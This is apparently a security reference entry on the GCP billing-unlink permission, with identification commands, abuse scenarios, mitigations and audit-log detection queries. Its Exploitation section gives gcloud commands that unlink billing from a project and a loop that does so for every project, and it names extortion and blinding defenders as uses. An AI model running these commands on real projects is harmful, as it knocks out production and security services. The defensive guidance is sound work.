Summary
| Forestall ACL Alias | GCP_UNLINK_BILLING |
| GCP Alias | Guardrail Bypass & Destruction |
| Affected Object Types | Projects |
| Exploitation Certainty | Certain |
| Granting Roles | roles/billing.admin, roles/billing.projectManager |
Description
GCP_UNLINK_BILLING indicates that an identity can remove the billing account association from a GCP project. When a billing account is unlinked, all billable GCP services in the project are immediately disabled — compute instances stop, Cloud Run services become unavailable, GKE control planes are disabled, and billable API calls fail. The project’s resources are not deleted, but they are inaccessible until billing is re-linked.
This edge represents an availability attack surface. An attacker who cannot exfiltrate or destroy data (due to VPC-SC or encryption) can still cause a service outage by unlinking billing. In organizations with strict billing separation, an identity with roles/billing.admin at the billing account level may be able to unlink billing from any project associated with that account.
Key abuse scenarios:
- Unlink billing from production projects → all compute and managed services stop immediately.
- Unlink billing from security or logging projects → blind defenders before a larger attack.
- Cloud extortion: unlink billing from business-critical projects and demand payment before data is lost to resource deletion (note: resources are not deleted immediately, but the pressure is real).
Identification
gcloud CLI
# Find who has billing admin or project billing manager at org or billing account levelORG_ID=$(gcloud organizations list --format="value(name)" | head -1)gcloud organizations get-iam-policy $ORG_ID --format=json | \ jq '.bindings[] | select(.role | test("billing.admin|billing.projectManager")) | {role: .role, members: .members}'
# Check the billing account linked to a specific projectPROJECT_ID="my-project"gcloud billing projects describe $PROJECT_ID \ --format="table(billingAccountName, billingEnabled)"
# List all projects linked to a billing accountBILLING_ACCOUNT=$(gcloud billing accounts list --format="value(name)" | head -1)gcloud billing projects list --billing-account=$BILLING_ACCOUNT \ --format="table(projectId, billingEnabled)"GCP Console
- Open GCP Console → Billing → select the billing account.
- Click Account management → review all linked projects.
- Check IAM & Admin → IAM at the billing account level for principals with
Billing Account AdministratororProject Billing Manager.
Exploitation
gcloud CLI
# Unlink billing from a single project — all billable services stop immediatelyPROJECT_ID="target-project"gcloud billing projects unlink $PROJECT_ID
# Mass unlink: remove billing from all projects the identity has rights onfor PROJECT in $(gcloud projects list --format="value(projectId)"); do echo "Unlinking billing from: $PROJECT" gcloud billing projects unlink $PROJECTdoneServices that stop immediately after billing is unlinked:
- Compute Engine VMs (instances stop running)
- Cloud Run services (requests begin failing)
- GKE clusters (control plane is disabled)
- Cloud SQL instances (connections are refused)
- BigQuery (queries fail with quota errors)
Free-tier and always-free resources continue operating within their limits.
Mitigation
- Restrict
roles/billing.admin— assign to at most a dedicated finance or ops account; never to developer identities. - Restrict
roles/billing.projectManagerrto approved automation accounts with narrow scope. - Enable budget alerts — a sudden drop to zero spend can indicate billing was unlinked before the operational impact is noticed.
- Maintain runbooks for re-linking billing under incident conditions, including the identity and approvals required.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | UpdateProjectBillingInfo |
resource.type=project, billingAccountName set to empty |
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)gcloud logging read \ 'protoPayload.methodName="UpdateProjectBillingInfo"' \ --organization=$ORG_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.project_id, protoPayload.request.projectBillingInfo.billingAccountName)"Alert on:
- Any
UpdateProjectBillingInfocall wherebillingAccountNameis set to an empty value (unlinking). - Multiple billing unlinks within a short time window (mass disruption pattern).
- Billing changes outside of business hours or from identities not in the approved billing admin list.